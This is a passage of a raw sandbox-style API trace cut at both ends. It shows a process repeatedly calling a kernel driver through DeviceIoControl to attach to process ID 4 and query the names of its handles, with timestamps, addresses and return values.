(Object=0xfffffa80030f28a0) returned 0x1 [0110.645] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.645] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.645] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0110.646] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.646] PsAcquireProcessExitSynchronization () returned 0x0 [0110.646] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.646] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0110.646] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.646] PsReleaseProcessExitSynchronization () returned 0x2 [0110.646] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.646] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.646] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0110.646] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.646] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0110.646] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.646] PsAcquireProcessExitSynchronization () returned 0x0 [0110.646] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.646] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0110.646] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.646] PsReleaseProcessExitSynchronization () returned 0x2 [0110.646] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.646] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.646] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0110.646] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.646] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0110.646] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.646] PsAcquireProcessExitSynchronization () returned 0x0 [0110.646] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.646] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0110.646] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.647] PsReleaseProcessExitSynchronization () returned 0x2 [0110.647] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.647] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.647] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0110.647] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.647] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.647] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0110.647] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.647] PsAcquireProcessExitSynchronization () returned 0x0 [0110.647] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.647] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0110.647] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.647] PsReleaseProcessExitSynchronization () returned 0x2 [0110.647] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.647] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.647] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0110.647] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.647] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.647] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.647] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.647] PsAcquireProcessExitSynchronization () returned 0x0 [0110.647] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.647] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0110.647] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.647] PsReleaseProcessExitSynchronization () returned 0x2 [0110.647] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.647] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.648] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0110.648] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.648] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.648] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.648] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.648] PsAcquireProcessExitSynchronization () returned 0x0 [0110.648] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.648] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0110.648] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.648] PsReleaseProcessExitSynchronization () returned 0x2 [0110.648] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.648] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.648] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0110.648] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.648] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.648] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0110.648] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.648] PsAcquireProcessExitSynchronization () returned 0x0 [0110.648] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.648] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0110.648] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.648] PsReleaseProcessExitSynchronization () returned 0x2 [0110.648] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.648] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.648] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0110.648] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.648] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.648] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0110.649] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.649] PsAcquireProcessExitSynchronization () returned 0x0 [0110.649] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.649] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0110.649] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.649] PsReleaseProcessExitSynchronization () returned 0x2 [0110.649] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.649] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.649] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0110.649] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.649] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.649] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0110.649] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.649] PsAcquireProcessExitSynchronization () returned 0x0 [0110.649] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.649] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0110.649] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.649] PsReleaseProcessExitSynchronization () returned 0x2 [0110.649] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.649] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.649] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0110.649] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.649] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.649] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0110.649] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.649] PsAcquireProcessExitSynchronization () returned 0x0 [0110.649] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.649] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0110.649] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.649] PsReleaseProcessExitSynchronization () returned 0x2 [0110.649] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.649] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.649] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0110.649] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.650] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.650] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0110.650] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.650] PsAcquireProcessExitSynchronization () returned 0x0 [0110.650] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.650] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0110.650] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.650] PsReleaseProcessExitSynchronization () returned 0x2 [0110.650] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.650] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0110.650] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.650] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.650] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0110.650] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.650] PsAcquireProcessExitSynchronization () returned 0x0 [0110.650] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.650] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0110.650] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.650] PsReleaseProcessExitSynchronization () returned 0x2 [0110.650] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.650] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0110.650] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.650] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.650] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0110.650] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.650] PsAcquireProcessExitSynchronization () returned 0x0 [0110.650] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.650] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0110.650] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.651] PsReleaseProcessExitSynchronization () returned 0x2 [0110.651] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.651] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.651] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0110.651] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.651] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.651] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.651] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.651] PsAcquireProcessExitSynchronization () returned 0x0 [0110.651] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.651] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0110.651] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.651] PsReleaseProcessExitSynchronization () returned 0x2 [0110.651] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.651] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.948] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0110.948] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.948] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.948] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.948] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.948] PsAcquireProcessExitSynchronization () returned 0x0 [0110.948] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.948] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0110.948] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.948] PsReleaseProcessExitSynchronization () returned 0x2 [0110.948] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.948] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.948] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0110.948] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.949] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.949] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0110.949] PsLookupProcessByProcessId (in: 